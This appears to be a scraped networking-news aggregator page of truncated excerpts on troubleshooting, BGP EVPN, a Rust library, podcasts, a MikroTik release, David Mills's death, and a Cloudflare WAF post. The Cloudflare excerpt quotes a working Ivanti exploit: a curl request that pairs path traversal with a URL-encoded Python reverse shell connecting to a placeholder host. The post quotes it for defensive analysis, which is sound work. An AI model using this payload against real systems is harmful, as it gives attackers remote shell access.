A Handy Acronym for Troubleshooting

While I may be getting further from my days of being an active IT troubleshooter it doesn’t mean that I can’t keep refining my technique. As I spend time looking back on my formative years of doing troubleshooting either from a desktop perspective or from a larger enterprise role I find that there were always a few things that were critical to understand about the issues I was facing.

Sadly, getting that information out of people in the middle of a crisis wasn’t always super easy. I often ran into people that were very hard to communicate with during an outage or a big problem. Sometimes they were complicit because they made the mistake that caused it. They also bristled at the idea of someone else coming to fix something they couldn’t or wouldn’t. Just as often I ran into people that loved to give me lots of information that wasn’t relevant to the issue. Whether they were nervous talkers or just had a bad grasp on the situation it resulted in me having to sift through all that data to tease out the information I needed.

The Method

Today, as I look back on my career I would like Continue reading

Big Blue Bucks The Datacenter Server Recession

Some patterns are very hard to break. From the very early days of the systems business as we know it, which started six decades ago, the fourth quarter of the calendar year has been the money maker for companies like IBM, and the second quarter has been a relatively big one for those who could not get their budgets together before the end of the prior year. …

Big Blue Bucks The Datacenter Server Recession was written by Timothy Prickett Morgan at The Next Platform.

BGP EVPN Part IV: MAC-VRF L2RIB Update: Local MAC Address

In Figure 1-3 we have VLAN 10 mapped to EVI/MAC-VRF L2VNI10000. TS-A1 (IP: 192.168.11.12/MAC: 1000.0010.beef) is connected to VLAN10 via Attachment Circuit (AC) Ethernet 1/2, (ifindex: 1a000200). 

Figure 1-3: MAC-VRF: L2RIB Local Learning Process.


Example 1-1 shows the VLAN to L2VNI mapping information. 


Leaf-101# show vlan id 10 vn-segment
VLAN Segment-id
---- -----------
10   10000       

Example 1-1: VLAN to EVPN Instance Mapping Information.


Step-1 and 2: MAC Table Update 


During the startup process, TS-A1 sends a Gratuitous ARP (GARP) message to announce its presence on the network and validate the uniqueness of its IP address. It uses its IP address in the Target IP field (Example 1-2). If another host responds to this unsolicited ARP reply, it indicates a potential IP address conflict. 

Ethernet II, Src: 10:00:00:10:be:ef, Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Address Resolution Protocol (reply/gratuitous ARP)
    Hardware type: Ethernet (1)
    Protocol type: IPv4 (0x0800)
    Hardware size: 6
    Protocol size: 4
    Opcode: reply (2)
    [Is gratuitous: True]
    Sender MAC address: 10:00:00:10:be:ef (10:00:00:10:be:ef)
    Sender IP address: 192.168.11.12
    Target MAC address: Broadcast Continue reading

Introducing Foundations – our open source Rust service foundation library

In this blog post, we're excited to present Foundations, our foundational library for Rust services, now released as open source on GitHub. Foundations is a foundational Rust library, designed to help scale programs for distributed, production-grade systems. It enables engineers to concentrate on the core business logic of their services, rather than the intricacies of production operation setups.

Originally developed as part of our Oxy proxy framework, Foundations has evolved to serve a wider range of applications. For those interested in exploring its technical capabilities, we recommend consulting the library’s API documentation. Additionally, this post will cover the motivations behind Foundations' creation and provide a concise summary of its key features. Stay with us to learn more about how Foundations can support your Rust projects.

What is Foundations?

In software development, seemingly minor tasks can become complex when scaled up. This complexity is particularly evident when comparing the deployment of services on server hardware globally to running a program on a personal laptop.

The key question is: what fundamentally changes when transitioning from a simple laptop-based prototype to a full-fledged service in a production environment? Through our experience in developing numerous services, we've identified several critical differences:

HW019: The Crucial Collaboration Between Wireless Engineers And Architects

Host Keith Parsons and guest Kelly Burroughs from iBwave discuss the crucial need for collaboration between Wi-Fi engineers and architects to ensure optimal wireless connectivity in building designs. They explore the use of BIM file formats for better integration and the importance of considering wireless as a utility in the architectural process. The conversation addresses... Read more »

How the Kubernetes Gateway API Beats Network Ingress

CHICAGO — Incoming traffic looking to access your network and platform probably uses the network’s ingress. But the ingress carries with it scaling, availability and security issues. For instance, said Kate Osborn, a software engineer at NGINX, suggested in this episode of TNS Makers recorded On the Road at KubeCon + CloudNative Con North America. “One of the biggest issues is it’s not extensible,” Osborn said. “So it’s a very simple resource. But there’s a bunch of complex routing that people want to do. And in Continue reading

HS063: What’s On Our Minds

Hosts Greg Ferro and Johna Till Johnson reflect on the technological advancements of 2023 and discuss the trends for 2024. In this wide-ranging conversation, they chat about the rise of AI, tech consolidation, and the impact of automation on infrastructure. They also explore the geopolitical impact on supply chains, the move away from Chinese manufacturing,... Read more »

MikroTik ROS 7.14beta8 released

MikroTik Routers and Wireless – Software

RouterOS continues to mature as we move through the versions in the teens.

When we transitioned between ROSv5 and ROSv6 in the early 2010s, it was right around this version numbering that we started to see production stability. By the time 6.2x versions came out, the general consensus was that v6 was ready for prime time. We are getting closer to that point in ROSv7 – depending on your use case.

Certainly, there are still issues to solve for advanced users like ISPs and Data Centers that need protocols like BGP, OSPF, IS-IS and MPLS, but simpler use cases seem to really be stabilizing with the last few months of releases.

Notable changes in this release:

*) bgp – allow to leak routes between local VRFs;

There are a few reasons this is a really important addition to ROSv7. First, it’s an issue that’s been on the roadmap for a very long time as noted in the Routing Protocol Overview section of MikroTik’s help docs. This is encouraging because it’s likely been one of the harder problems for the development team to solve given the length of time it sat open.

Secondly, it’s Continue reading

Farewell to the Internet’s Master Timekeeper: David Mills

Photo by David Woolley, cc0 Dr. David L. Mills, the visionary behind the Network Time Protocol (NTP) that synchronizes time across billions of devices globally, died at age 85 on Jan. 17, 2024. The Chicago song goes, “Network Time Protocol (NTP) was, and is, essential for running the internet. As Cerf wrote, announcing the news of his passing, “He was such NTP. We don’t think about how hard it is to synchronize time around the world to within milliseconds. But everything, and I mean everything, depends on NTP’s accuracy. It’s not just the internet, it’s financial markets, power grids, GPS, cryptography, and far, far more.

How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability

Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.

The threat: CVE-2023-46805 and CVE-2024-21887

An authentication bypass (CVE-2023-46805) and a command injection vulnerability (CVE-2024-21887) impacting Ivanti products were recently disclosed and analyzed by AttackerKB. This vulnerability poses significant risks which could lead to unauthorized access and control over affected systems. In the following section we are going to discuss how this vulnerability can be exploited.

Technical analysis

As discussed in AttackerKB, the attacker can send a specially crafted request to the target system using a command like this:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

This command targets an endpoint (/license/keys-status/) that is usually protected by authentication. However, the attacker can bypass the authentication by manipulating the URL to include /api/v1/totp/user-backup-code/../../license/keys-status/. This technique is known as directory traversal.

The URL-encoded part of the command decodes to a Python reverse Continue reading

1 … 129 130 131 132 133 … 3,794